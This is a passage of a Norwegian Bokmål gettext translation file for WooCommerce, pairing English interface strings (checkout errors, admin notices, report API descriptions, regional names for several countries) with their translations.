#: src/Blocks/Domain/Services/CheckoutFieldsFrontend.php:347
#: src/StoreApi/Routes/V1/Checkout.php:273
#: src/StoreApi/Utilities/OrderController.php:500
msgid "%s is required"
msgstr "%s er påkrevd"
#: src/StoreApi/Utilities/OrderController.php:440
msgid "billing address"
msgstr "fakturaadresse"
#: src/StoreApi/Utilities/OrderController.php:440
msgid "shipping address"
msgstr "leveringsadresse"
#. translators: %s Address type.
#: src/StoreApi/Utilities/OrderController.php:439
msgid "There was a problem with the provided %s:"
msgstr "Det oppstod et problem med den angitte %s:"
#. translators: %s country code.
#: src/StoreApi/Utilities/OrderController.php:407
msgid "Sorry, we do not allow orders from the provided country (%s)"
msgstr "Beklager, vi tillater ikke ordre fra det oppgitte landet (%s)"
#. translators: %s country code.
#: src/StoreApi/Utilities/OrderController.php:391
msgid "Sorry, we do not ship orders to the provided country (%s)"
msgstr "Beklager, vi sender ikke ordrer til det angitte landet (%s)"
#. translators: %s provided email.
#: src/StoreApi/Utilities/OrderController.php:355
msgid "The provided email address (%s) is not valid—please provide a valid email address"
msgstr "Den oppgitte e-postadressen (%s) er ikke gyldig, du må oppgi en gyldig e-postadresse"
#: src/StoreApi/Utilities/OrderController.php:345
msgid "A valid email address is required"
msgstr "En gyldig e-postadresse kreves"
#. translators: %s file handle name.
#: src/Blocks/Assets/Api.php:280
msgid "Script with handle %s had a dependency on itself which has been removed. This is an indicator that your JS code has a circular dependency that can cause bugs."
msgstr "Skript med handle %s hadde en avhengighet av seg selv som er fjernet. Dette er en indikator på at JS-koden din har en sirkulær avhengighet som kan forårsake feil."
#. translators: %s is template name
#: src/Admin/API/OnboardingTasks.php:373
msgid "Sorry, creating the product with template failed."
msgstr "Beklager, oppretting av produktet med mal mislyktes."
#: src/Admin/API/OnboardingTasks.php:95
msgid "Product template name."
msgstr "Navn på produktmal."
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:97
msgid "Extended task List"
msgstr "Utvidet oppgaveliste"
#: src/Internal/Admin/Notes/CustomizingProductCatalog.php:71
msgid "You want your product catalog and images to look great and align with your brand. This guide will give you all the tips you need to get your products looking great in your store."
msgstr "Du vil at produktkatalogen og bildene skal se flotte ut og gjenspeiler merkevaren deres. Denne veiledningen vil gi deg alle tipsene du trenger for å få produktene deres til å se bra ut i butikken."
#: src/Internal/Admin/Notes/CustomizingProductCatalog.php:70
msgid "How to customize your product catalog"
msgstr "Slik tilpasser du produktkatalogen"
#: i18n/states.php:670
msgid "Zacapa"
msgstr "Zacapa"
#: i18n/states.php:669
msgid "Totonicapán"
msgstr "Totonicapán"
#: i18n/states.php:668
msgid "Suchitepéquez"
msgstr "Suchitepéquez"
#: i18n/states.php:667
msgid "Sololá"
msgstr "Sololá"
#: i18n/states.php:666
msgid "Santa Rosa"
msgstr "Santa Rosa"
#: i18n/states.php:665
msgid "San Marcos"
msgstr "San Marcos"
#: i18n/states.php:664
msgid "Sacatepéquez"
msgstr "Sacatepéquez"
#: i18n/states.php:663
msgid "Retalhuleu"
msgstr "Retalhuleu"
#: i18n/states.php:662
msgid "Quiché"
msgstr "Quiché"
#: i18n/states.php:661
msgid "Quetzaltenango"
msgstr "Quetzaltenango"
#: i18n/states.php:660
msgid "Petén"
msgstr "Petén"
#: i18n/states.php:659
msgid "Jutiapa"
msgstr "Jutiapa"
#: i18n/states.php:658
msgid "Jalapa"
msgstr "Jalapa"
#: i18n/states.php:657
msgid "Izabal"
msgstr "Izabal"
#: i18n/states.php:656
msgid "Huehuetenango"
msgstr "Huehuetenango"
#: i18n/states.php:654
msgid "Escuintla"
msgstr "Escuintla"
#: i18n/states.php:653
msgid "El Progreso"
msgstr "El Progreso"
#: i18n/states.php:652
msgid "Chiquimula"
msgstr "Chiquimula"
#: i18n/states.php:651
msgid "Chimaltenango"
msgstr "Chimaltenango"
#: i18n/states.php:650
msgid "Baja Verapaz"
msgstr "Baja Verapaz"
#: i18n/states.php:649
msgid "Alta Verapaz"
msgstr "Alta Verapaz"
#. translators: ISO 3166-1 alpha-2 country code
#: includes/class-wc-checkout.php:856
msgid "'%s' is not a valid country code."
msgstr "'%s' er ikke en gyldig landskode."
#: includes/admin/views/html-admin-page-status-report.php:1126
msgid "Generated at"
msgstr "Generert"
#: includes/admin/views/html-admin-page-status-report.php:1121
msgid "This section shows information about this status report."
msgstr "Denne delen viser informasjon om denne statusrapporten."
#: includes/admin/views/html-admin-page-status-report.php:1121
msgid "Status report information"
msgstr "Statusrapport informasjon"
#. Translators: %1$s: shortcode text, %2$s: block slug.
#: includes/admin/views/html-admin-page-status-report.php:885
msgid "Page does not contain the %1$s shortcode or the %2$s block."
msgstr "Siden inneholder ikke %1$s kortkoden eller %2$s blokken."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:38
msgid "Get the basics"
msgstr "Få det grunnleggende"
#: src/Internal/Admin/Notes/GivingFeedbackNotes.php:42
msgid "You're invited to share your experience"
msgstr "Du er invitert til å dele din erfaring"
#: src/Admin/API/CustomAttributeTraits.php:29
msgid "No product attribute with that slug was found."
msgstr "Intet produktattributt med den identifikatoren ble funnet."
#: src/Admin/API/ProductAttributes.php:62
msgid "Search by similar attribute name."
msgstr "Søk etter lignende attributtnavn."
#: src/Admin/API/ProductAttributes.php:40
#: src/Admin/API/ProductAttributeTerms.php:41
msgid "Slug identifier for the resource."
msgstr "Identifikator for ressursen."
#. translators: 1: line break tag, 2: open link to WordPress update link, 3:
#. close link tag.
#: src/Internal/Features/FeaturesController.php:1353
msgid "%1$s %2$sUpdate WordPress to enable the new navigation%3$s"
msgstr "%1$s %2$sOppdater WordPress for å slå på den nye navigasjonen%3$s"
#: i18n/states.php:834
msgid "Odisha"
msgstr "Odisha"
#: i18n/states.php:444
msgid "Santo Domingo"
msgstr "Santo Domingo"
#: i18n/states.php:438
msgid "San José de Ocoa"
msgstr "San José de Ocoa"
#: i18n/states.php:421
msgid "Hato Mayor"
msgstr "Hato Mayor"
#: i18n/states.php:431
msgid "Monte Plata"
msgstr "Monte Plata"
#: i18n/states.php:429
msgid "Monseñor Nouel"
msgstr "Monseñor Nouel"
#: i18n/states.php:446
msgid "Valverde"
msgstr "Valverde"
#: i18n/states.php:443
msgid "Santiago Rodríguez"
msgstr "Santiago Rodríguez"
#: i18n/states.php:442
msgid "Santiago"
msgstr "Santiago"
#: i18n/states.php:441
msgid "Sánchez Ramírez"
msgstr "Sánchez Ramírez"
#: i18n/states.php:440
msgid "San Pedro de Macorís"
msgstr "San Pedro de Macorís"
#: i18n/states.php:437
msgid "San Cristóbal"
msgstr "San Cristóbal"
#: i18n/states.php:436
msgid "Samaná"
msgstr "Samaná"
#: i18n/states.php:422
msgid "Hermanas Mirabal"
msgstr "Hermanas Mirabal"
#: i18n/states.php:435
msgid "Puerto Plata"
msgstr "Puerto Plata"
#: i18n/states.php:434
msgid "Peravia"
msgstr "Peravia"
#: i18n/states.php:433
msgid "Pedernales"
msgstr "Pedernales"
#: i18n/states.php:430
msgid "Monte Cristi"
msgstr "Monte Cristi"
#: i18n/states.php:428
msgid "María Trinidad Sánchez"
msgstr "María Trinidad Sánchez"
#: i18n/states.php:427
msgid "La Vega"
msgstr "La Vega"
#: i18n/states.php:426
msgid "La Romana"
msgstr "La Romana"
#: i18n/states.php:425
msgid "La Altagracia"
msgstr "La Altagracia"
#: i18n/states.php:424
msgid "Independencia"
msgstr "Independencia"
#: i18n/states.php:420
msgid "Espaillat"
msgstr "Espaillat"
#: i18n/states.php:416
msgid "El Seibo"
msgstr "El Seibo"
#: i18n/states.php:418
msgid "Elías Piña"
msgstr "Elías Piña"
#: i18n/states.php:415
msgid "Duarte"
msgstr "Duarte"
#: i18n/states.php:414
msgid "Dajabón"
msgstr "Dajabón"
#: i18n/states.php:409
msgid "Barahona"
msgstr "Barahona"
#: i18n/states.php:408
msgid "Baoruco"
msgstr "Baoruco"
#: i18n/states.php:407
msgid "Azua"
msgstr "Azua"
#: i18n/states.php:406
msgid "Distrito Nacional"
msgstr "Distrito Nacional"
#: includes/data-stores/class-wc-customer-download-data-store.php:140
msgid "I don't know how to get a date from a %s"
msgstr "Jeg vet ikke hvordan jeg skal få en date fra en %s"
#. translators: 1: Link URL
#: includes/admin/views/html-admin-page-reports.php:18
msgid "With the release of WooCommerce 4.0, these reports are being replaced. There is a new and better Analytics section available for users running WordPress 5.3+. Head on over to the <a href=\"%1$s\">WooCommerce Analytics</a> or learn more about the new experience in the <a href=\"https://woocommerce.com/document/woocommerce-analytics/\" target=\"_blank\">WooCommerce Analytics documentation</a>."
msgstr "Med lanseringen av WooCommerce 4.0 blir disse rapportene erstattet. En ny og bedre statistikkseksjon er tilgjengelig for brukere som kjører WordPress 5.3+. Gå til <a href=\"%1$s\">WooCommerce Analytics</a> eller les mer om den nye opplevelsen i <a href=\"https://woocommerce.com/document/woocommerce-analytics/\" target=\"_blank\">dokumentasjonen for WooCommerce Analytics</a>."
#: includes/class-wc-countries.php:997 includes/class-wc-countries.php:1066
#: includes/class-wc-countries.php:1191 includes/class-wc-countries.php:1207
#: includes/class-wc-countries.php:1410 includes/class-wc-countries.php:1489
#: includes/class-wc-countries.php:1557 includes/class-wc-countries.php:1635
msgid "Department"
msgstr "Avdeling"
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:44
msgid "We strongly recommend creating a backup of your site before updating."
msgstr "Vi anbefaler på det sterkeste at du oppretter en sikkerhetskopi av nettstedet ditt før du oppdaterer."
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:21
msgid "Are you sure you're ready?"
msgstr "Er du sikker på at du er klar?"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:45
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "Send"
msgstr "Send"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:584
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3643
msgid "The official Razorpay extension for WooCommerce allows you to accept credit cards, debit cards, netbanking, wallet, and UPI payments."
msgstr "Den offisielle Razorpay-utvidelsen for WooCommerce lar deg godta kredittkort, debetkort, nettbanking, lommebok og UPI-betalinger."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:583
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3642
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Razorpay"
msgstr "Razorpay"
#. translators: %s: extension namespace
#: src/StoreApi/Schemas/ExtendSchema.php:335
#: src/StoreApi/Schemas/ExtendSchema.php:343
msgid "Extension data registered by %s"
msgstr "Utvidelsesdata registrert av %s"
#: src/StoreApi/Schemas/V1/ItemSchema.php:316
msgid "Whether the product is visible in the catalog"
msgstr "Om produktet er synlig i katalogen"
#: src/StoreApi/Schemas/V1/CartSchema.php:253
#: src/StoreApi/Schemas/V1/OrderSchema.php:204
msgid "Total tax on shipping. If shipping has not been calculated, a null response will be sent."
msgstr "Total avgift på frakt. Hvis frakt ikke er beregnet, sendes et null som svar."
#: src/StoreApi/Schemas/V1/CartSchema.php:247
msgid "Total price of shipping. If shipping has not been calculated, a null response will be sent."
msgstr "Total pris på frakt. Hvis frakt ikke er beregnet, sendes et null som svar."
#: src/StoreApi/Schemas/V1/CartSchema.php:187
msgid "True if the cart meets the criteria for showing shipping costs, and rates have been calculated and included in the totals."
msgstr "Sant hvis handlekurven oppfyller kriteriene for å vise fraktkostnader, og satser er beregnet og inkludert i totalene."
#: src/StoreApi/Schemas/V1/CartSchema.php:136
#: src/StoreApi/Schemas/V1/OrderSchema.php:259
msgid "Current set billing address for the customer."
msgstr "Gjeldende angitt faktureringsadresse for kunden."
#: src/StoreApi/Schemas/V1/CartCouponSchema.php:41
#: src/StoreApi/Schemas/V1/OrderCouponSchema.php:36
msgid "The discount type for the coupon (e.g. percentage or fixed amount)"
msgstr "Rabatttypen for rabattkoden (f.eks. prosent eller fast beløp)"
#: src/StoreApi/Schemas/V1/CartCouponSchema.php:32
msgid "The coupon's unique code."
msgstr "Rabattkodens unike kode."
#: src/StoreApi/Routes/V1/Checkout.php:697
msgid "Unable to create order"
msgstr "Kunne ikke opprette ordren"
#: src/Admin/API/Products.php:59
msgid "The date the last order for this product was placed, in the site's timezone."
msgstr "Datoen da dette produktet sist ble kjøpt, i nettstedets tidssone."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:332
msgid "Limit result set to orders that have the specified customer_type"
msgstr "Avgrens resultat til ordrer som har angitt customer_type"
#: src/Admin/API/Reports/Orders/Stats/Controller.php:323
msgid "Alias for customer_type (deprecated)."
msgstr "Alias for customer_type (utfaset)."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:575
msgid "How easy was it to update your settings?"
msgstr "Hvor enkelt var det å oppdatere innstillingene dine?"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:420
msgid "How easy was it to update an order?"
msgstr "Hvor enkelt var det å oppdatere en ordre?"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:132
#: assets/client/admin/customer-effort-score/index.js:1
msgid "Thank you for your feedback!"
msgstr "Takk for din tilbakemelding!"
#: i18n/states.php:826
msgid "Ladakh"
msgstr "Ladakh"
#. translators: %1$s: coupon code, %2$s: myaccount page link.
#: includes/class-wc-coupon.php:1145
msgid "Usage limit for coupon \"%1$s\" has been reached. If you were using this coupon just now but your order was not complete, you can retry or cancel the order by going to the <a href=\"%2$s\">my account page</a>."
msgstr "Bruksgrensen for rabattkoden «%1$s» er nådd. Hvis du brukte denne rabattkoden akkurat nå, men ordren din ikke var fullført, kan du prøve på nytt eller avbryte ordren ved å gå til <a href=\"%2$s\">kontosiden</a>."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:161
#: assets/client/admin/chunks/4706.js:1 assets/client/admin/chunks/6526.js:1
#: assets/client/admin/chunks/9336.js:1
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/settings-editor/index.js:2
msgid "Back"
msgstr "TIlbake"
#: i18n/states.php:1005
msgid "Saint Catherine"
msgstr "Saint Catherine"
#: i18n/states.php:1004
msgid "Clarendon"
msgstr "Clarendon"
#: i18n/states.php:1003
msgid "Manchester"
msgstr "Manchester"
#: i18n/states.php:1002
msgid "Saint Elizabeth"
msgstr "Saint Elizabeth"
#: i18n/states.php:1001
msgid "Westmoreland"
msgstr "Westmoreland"
#: i18n/states.php:1000
msgid "Hanover"
msgstr "Hanover"
#: i18n/states.php:999
msgid "Saint James"
msgstr "Saint James"
#: i18n/states.php:998
msgid "Trelawny"
msgstr "Trelawny"
#: i18n/states.php:997
msgid "Saint Ann"
msgstr "Saint Ann"
#: i18n/states.php:996
msgid "Saint Mary"
msgstr "Saint Mary"
#: i18n/states.php:995
msgid "Portland"
msgstr "Portland"
#: i18n/states.php:994
msgid "Saint Thomas"
msgstr "Saint Thomas"
#: i18n/states.php:993
msgid "Saint Andrew"
msgstr "Saint Andrew"
#: i18n/states.php:992
msgid "Kingston"
msgstr "Kingston"
#. translators: 1: opening link tag, 2: closing tag
#: src/Internal/Admin/Analytics.php:162
msgid "This tool will reset the cached values used in WooCommerce Analytics. If numbers still look off, try %1$sReimporting Historical Data%2$s."
msgstr "Dette verktøyet tilbakestiller de mellomlagrede verdiene som brukes i «WooCommerce Analytics». Hvis tallene fortsatt ser feil ut kan du prøve å %1$simportere historiske data på nytt%2$s."
#: src/Internal/Admin/CustomerEffortScoreTracks.php:532
msgid "How easy was it to import products?"
msgstr "Hvor enkelt var det å importere produkter?"
#: src/Internal/Admin/Notes/ManageOrdersOnTheGo.php:51
msgid "Look for orders, customer info, and process refunds in one click with the Woo app."
msgstr "Se etter ordre, kundeinformasjon og behandle refusjoner med ett trykk i Woo-appen."
#: src/Internal/Admin/Notes/ManageOrdersOnTheGo.php:50
msgid "Manage your orders on the go"
msgstr "Administrer ordrene når du er på farten"
#: src/Admin/API/Reports/Controller.php:60
msgid "Stats about variations."
msgstr "Statistikk om varianter."
#: src/Admin/API/Reports/Controller.php:56
msgid "Variations detailed reports."
msgstr "Variant-detaljerte rapporter."
#: src/Admin/API/Reports/Orders/Controller.php:274
#: src/Admin/API/Reports/Orders/Stats/Controller.php:275
msgid "Limit result set to items that don't have the specified variation(s) assigned."
msgstr "Avgrens resultat til produkter som ikke har de bestemte variantene tilordnet."
#: src/Admin/API/Reports/Orders/Controller.php:264
#: src/Admin/API/Reports/Orders/Stats/Controller.php:265
msgid "Limit result set to items that have the specified variation(s) assigned."
msgstr "Avgrens resultat til produkter som har de bestemte variantene tilordnet."
#: src/Admin/API/Reports/Variations/Controller.php:323
msgid "Limit result set to variations in the specified categories."
msgstr "Avgrens resultat til varianter i de angitte kategoriene."
#: src/Admin/API/Reports/Variations/Controller.php:314
msgid "Limit result set to variations that don't include the specified attributes."
msgstr "Avgrens resultat til varianter som ikke inneholder de angitte attributtene."
#: src/Admin/API/Reports/Variations/Controller.php:305
msgid "Limit result set to variations that include the specified attributes."
msgstr "Avgrens resultat til varianter som inneholder de angitte attributtene."
#: src/Admin/API/Reports/Variations/Controller.php:298
msgid "Add additional piece of info about each variation to the report."
msgstr "Legg til mer informasjon om hver variant i rapporten."
#: src/Admin/API/Reports/Variations/Controller.php:279
#: src/Admin/API/Reports/Variations/Stats/Controller.php:255
msgid "Limit result set to items that don't have the specified parent product(s)."
msgstr "Avgrens resultat til produkter som ikke har de angitte foreldreprodukter."
#: src/Admin/API/Reports/Variations/Controller.php:269
#: src/Admin/API/Reports/Variations/Stats/Controller.php:245
msgid "Limit result set to items that have the specified parent product(s)."
msgstr "Avgrens resultat til produkter som har de angitte foreldreproduktet."
#: src/Admin/API/Reports/Variations/Controller.php:332
#: src/Admin/API/Reports/Variations/Stats/Controller.php:236
msgid "Limit result set to variations not in the specified categories."
msgstr "Avgrens resultat til varianter ikke i de angitte kategoriene."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:298
#: assets/client/admin/chunks/shipping-recommendations.js:1
msgid "WooCommerce Shipping"
msgstr "WooCommerce Shipping"
#. translators: 1: tax amount 2: country name
#: includes/wc-cart-functions.php:351
msgid "(includes %1$s estimated for %2$s)"
msgstr "(inkluderer %1$s beregnet for %2$s)"
#: includes/class-wc-countries.php:1158 includes/class-wc-countries.php:1316
#: includes/class-wc-countries.php:1354
msgid "Parish"
msgstr "Parish"
#: includes/class-wc-countries.php:1308
msgid "Town / City / Post Office"
msgstr "By / Poststed"
#: includes/class-wc-post-types.php:591
msgid "Tags deleted."
msgstr "Stikkord slettet."
#: includes/class-wc-post-types.php:581
msgid "Categories deleted."
msgstr "Kategorier slettet."
#. translators: 1: product link, 2: product name
#: includes/class-wc-cart.php:1083 includes/class-wc-form-handler.php:963
msgid "Please choose product options by visiting <a href=\"%1$s\" title=\"%2$s\">%2$s</a>."
msgstr "Velg produktalternativer ved å gå til <a href=\"%1$s\" title=\"%2$s\">%2$s</a>."
#: templates/emails/customer-new-account.php:54
msgid "Click here to set your new password."
msgstr "Trykk her for å angi det nye passordet ditt."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:155
msgid "Whether to create a new user account as part of order processing."
msgstr "Om du vil opprette en ny brukerkonto som en del av ordrebehandling."
#. translators: 1: opening link tag, 2: closing tag
#: src/Internal/Admin/Notes/WooCommercePayments.php:112
msgid "By clicking \"Get started\", you agree to our %1$sTerms of Service%2$s"
msgstr "Ved å klikke \"Kom i gang\" godtar du våre %1$sbruksvilkår%2$s"
#: includes/cli/class-wc-cli-runner.php:118
msgid "The slug for the resource."
msgstr "Identifikator for ressursen."
#: includes/class-wc-form-handler.php:59
msgid "This password reset key is for a different user account. Please log out and try again."
msgstr "Denne nøkkelen for tilbakestilling av passord er for en annen brukerkonto. Logg ut og prøv igjen."
#: includes/class-wc-query.php:157
msgid "Set password"
msgstr "Angi passord"
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1607
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:57
msgid "Meta value for UI display."
msgstr "Metaverdi for UI visning."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1602
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:52
msgid "Meta key for UI display."
msgstr "Metanøkkel for UI visning."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1506
msgid "Parent product name if the product is a variation."
msgstr "Navn på forelderprodukt hvis produktet er en variant."
#: i18n/states.php:1932
msgctxt "district"
msgid "Vojvodina"
msgstr "Vojvodina"
#: i18n/states.php:1931
msgctxt "district"
msgid "Kosovo-Metohija"
msgstr "Kosovo-Metohija"
#: i18n/states.php:1930
msgctxt "district"
msgid "Kosovo-Pomoravlje"
msgstr "Kosovo-Pomoravlje"
#: i18n/states.php:1929
msgctxt "district"
msgid "Kosovska Mitrovica"
msgstr "Kosovska Mitrovica"
#: i18n/states.php:1928
msgctxt "district"
msgid "Prizren"
msgstr "Prizren"
#: i18n/states.php:1927
msgctxt "district"
msgid "Peć"
msgstr "Peć"
#: i18n/states.php:1926
msgctxt "district"
msgid "Kosovo"
msgstr "Kosovo"
#: i18n/states.php:1925
msgctxt "district"
msgid "Zlatibor"
msgstr "Zlatibor"
#: i18n/states.php:1924
msgctxt "district"
msgid "Zaječar"
msgstr "Zaječar"
#: i18n/states.php:1923
msgctxt "district"
msgid "West Bačka"
msgstr "West Bačka"
#: i18n/states.php:1922
msgctxt "district"
msgid "Toplica"
msgstr "Toplica"
#: i18n/states.php:1921
msgctxt "district"
msgid "Šumadija"
msgstr "Šumadija"
#: i18n/states.php:1920
msgctxt "district"
msgid "Srem"
msgstr "Srem"
#: i18n/states.php:1919
msgctxt "district"
msgid "South Banat"
msgstr "South Banat"
#: i18n/states.php:1918
msgctxt "district"
msgid "South Bačka"
msgstr "South Bačka"
#: i18n/states.php:1917
msgctxt "district"
msgid "Raška"
msgstr "Raška"
#: i18n/states.php:1916
msgctxt "district"
msgid "Rasina"
msgstr "Rasina"
#: i18n/states.php:1915
msgctxt "district"
msgid "Pomoravlje"
msgstr "Pomoravlje"
#: i18n/states.php:1914
msgctxt "district"
msgid "Pirot"
msgstr "Pirot"
#: i18n/states.php:1913
msgctxt "district"
msgid "Pčinja"
msgstr "Pčinja"
#: i18n/states.php:1912
msgctxt "district"
msgid "North Banat"
msgstr "North Banat"
#: i18n/states.php:1911
msgctxt "district"
msgid "North Bačka"
msgstr "North Bačka"
#: i18n/states.php:1910
msgctxt "district"
msgid "Nišava"
msgstr "Nišava"
#: i18n/states.php:1909
msgctxt "district"
msgid "Morava"
msgstr "Morava"
#: i18n/states.php:1908
msgctxt "district"
msgid "Mačva"
msgstr "Mačva"
#: i18n/states.php:1907
msgctxt "district"
msgid "Kolubara"
msgstr "Kolubara"
#: i18n/states.php:1906
msgctxt "district"
msgid "Jablanica"
msgstr "Jablanica"
#: i18n/states.php:1905
msgctxt "district"
msgid "Danube"
msgstr "Danube"
#: i18n/states.php:1904
msgctxt "district"
msgid "Central Banat"
msgstr "Central Banat"
#: i18n/states.php:1903
msgctxt "district"
msgid "Braničevo"
msgstr "Braničevo"
#: i18n/states.php:1902
msgctxt "district"
msgid "Bor"
msgstr "Bor"
#: i18n/states.php:1901
msgctxt "district"
msgid "Belgrade"
msgstr "Belgrade"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:60
msgid "Get in front of shoppers and drive traffic so you can grow your business with Smart Shopping Campaigns and free listings."
msgstr "Kom deg foran kundene og øk trafikken, slik at du kan utvide bedriften din med Smart Shopping-kampanjer og gratis oppføringer."
#: src/Admin/Features/OnboardingTasks/Task.php:208
#: src/Admin/Features/OnboardingTasks/Tasks/Tax.php:107
msgid "Let's go"
msgstr "Sett i gang"
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:341
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/components/index.js:2
msgid "Abort"
msgstr "Avbryt"
#: src/Admin/API/ProductVariations.php:58
msgid "Search by similar product name, sku, or attribute value."
msgstr "Søk etter lignende produktnavn, -nummer eller attributtverdi."
#: src/Admin/API/Notes.php:427
msgid "Please provide an array of IDs through the noteIds param."
msgstr "Du må oppgi en rekke ID-er gjennom noteIds-parametere."
#: src/Admin/API/Reports/Orders/Controller.php:402
#: src/Admin/API/Reports/Orders/Stats/Controller.php:363
#: src/Admin/API/Reports/Variations/Stats/Controller.php:293
msgid "Limit result set to orders that don't include products with the specified attributes."
msgstr "Avgrens resultatet til ordrer som ikke inkluderer produkter med de angitte attributtene."
#: src/Admin/API/Reports/Orders/Controller.php:393
#: src/Admin/API/Reports/Orders/Stats/Controller.php:354
#: src/Admin/API/Reports/Variations/Stats/Controller.php:284
msgid "Limit result set to orders that include products with the specified attributes."
msgstr "Avgrens resultatet til ordrer som inkluderer produkter med de angitte attributtene."
#: src/Admin/API/Reports/Export/Controller.php:107
msgid "Export ID."
msgstr "Eksport-id."
#: src/Admin/API/Reports/Export/Controller.php:101
msgid "Export status message."
msgstr "Eksport statusmelding."
#: src/Admin/API/Reports/Export/Controller.php:95
msgid "Export status."
msgstr "Eksportstatus."
#: src/Admin/PageController.php:541
msgid "Setup Wizard"
msgstr "Konfigureringsveiviser"
#: src/Internal/Admin/Notes/SellingOnlineCourses.php:71
msgid "Online courses are a great solution for any business that can teach a new skill. Since courses don’t require physical product development or shipping, they’re affordable, fast to create, and can generate passive income for years to come. In this article, we provide you more information about selling courses using WooCommerce."
msgstr "Online kurs er en flott løsning for enhver bedrift som kan lære en ny ferdighet. Siden kurs ikke krever fysisk produktutvikling eller frakt, de er rimelige, rask å skape, og kan generere passiv inntekt i årene som kommer. I denne artikkelen gir vi deg mer informasjon om salg av kurs ved hjelp av WooCommerce."
#: src/Internal/Admin/Notes/SellingOnlineCourses.php:70
msgid "Do you want to sell online courses?"
msgstr "Vil du selge nettkurs?"
#: src/Internal/Admin/Notes/PerformanceOnMobile.php:55
msgid "Monitor your sales and high performing products with the Woo app."
msgstr "Overvåk salg og produkter med høy ytelse med Woo-appen."
#: src/Internal/Admin/Notes/PerformanceOnMobile.php:54
msgid "Track your store performance on mobile"
msgstr "Sjekk ytelsen til din butikkk på mobilen"
#: src/Internal/Admin/Notes/EditProductsOnTheMove.php:58
msgid "Edit and create new products from your mobile devices with the Woo app"
msgstr "Rediger og opprett nye produkter på dine mobile enheter med Woo-appen"
#: src/Internal/Admin/Notes/EditProductsOnTheMove.php:57
msgid "Edit products on the move"
msgstr "Redigere produkter mens du er på farten"
#: i18n/states.php:726
msgid "Csongrád-Csanád"
msgstr "Csongrád-Csanád"
#: i18n/states.php:605
msgid "Biscay"
msgstr "Biscay"
#: i18n/states.php:553
msgid "New Valley"
msgstr "New Valley"
#: i18n/states.php:552
msgid "Suez"
msgstr "Suez"
#: i18n/states.php:551
msgid "North Sinai"
msgstr "North Sinai"
#: i18n/states.php:550
msgid "Al Sharqia"
msgstr "Al Sharqia"
#: i18n/states.php:549
msgid "Sohag"
msgstr "Sohag"
#: i18n/states.php:548
msgid "Port Said"
msgstr "Port Said"
#: i18n/states.php:547
msgid "Matrouh"
msgstr "Matrouh"
#: i18n/states.php:546
msgid "Monufia"
msgstr "Monufia"
#: i18n/states.php:545
msgid "Minya"
msgstr "Minya"
#: i18n/states.php:544
msgid "Luxor"
msgstr "Luxor"
#: i18n/states.php:543
msgid "Qena"
msgstr "Qena"
#: i18n/states.php:542
msgid "Kafr el-Sheikh"
msgstr "Kafr el-Sheikh"
#: i18n/states.php:541
msgid "Qalyubia"
msgstr "Qalyubia"
#: i18n/states.php:540
msgid "South Sinai"
msgstr "South Sinai"
#: i18n/states.php:539
msgid "Ismailia"
msgstr "Ismailia"
#: i18n/states.php:538
msgid "Giza"
msgstr "Giza"
#: i18n/states.php:537
msgid "Gharbia"
msgstr "Gharbia"
#: i18n/states.php:536
msgid "Faiyum"
msgstr "Faiyum"
#: i18n/states.php:535
msgid "Damietta"
msgstr "Damietta"
#: i18n/states.php:534
msgid "Dakahlia"
msgstr "Dakahlia"
#: i18n/states.php:533
msgid "Cairo"
msgstr "Cairo"
#: i18n/states.php:532
msgid "Beni Suef"
msgstr "Beni Suef"
#: i18n/states.php:531
msgid "Beheira"
msgstr "Beheira"
#: i18n/states.php:530
msgid "Red Sea"
msgstr "Red Sea"
#: i18n/states.php:529
msgid "Asyut"
msgstr "Asyut"
#: i18n/states.php:528
msgid "Aswan"
msgstr "Aswan"
#: i18n/states.php:527
msgid "Alexandria"
msgstr "Alexandria"
#: i18n/states.php:204
msgid "Zou"
msgstr "Zou"
#: i18n/states.php:202
msgid "Ouémé"
msgstr "Ouémé"
#: i18n/states.php:201
msgid "Mono"
msgstr "Mono"
#: i18n/states.php:200
msgid "Littoral"
msgstr "Littoral"
#: i18n/states.php:199
msgid "Donga"
msgstr "Donga"
#: i18n/states.php:198
msgid "Kouffo"
msgstr "Kouffo"
#: i18n/states.php:197
msgid "Collines"
msgstr "Collines"
#: i18n/states.php:196
msgid "Borgou"
msgstr "Borgou"
#: i18n/states.php:195
msgid "Atlantique"
msgstr "Atlantique"
#: i18n/states.php:194
msgid "Atakora"
msgstr "Atakora"
#: i18n/states.php:193
msgid "Alibori"
msgstr "Alibori"
#: includes/admin/class-wc-admin-notices.php:413
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:29
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:39
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:49
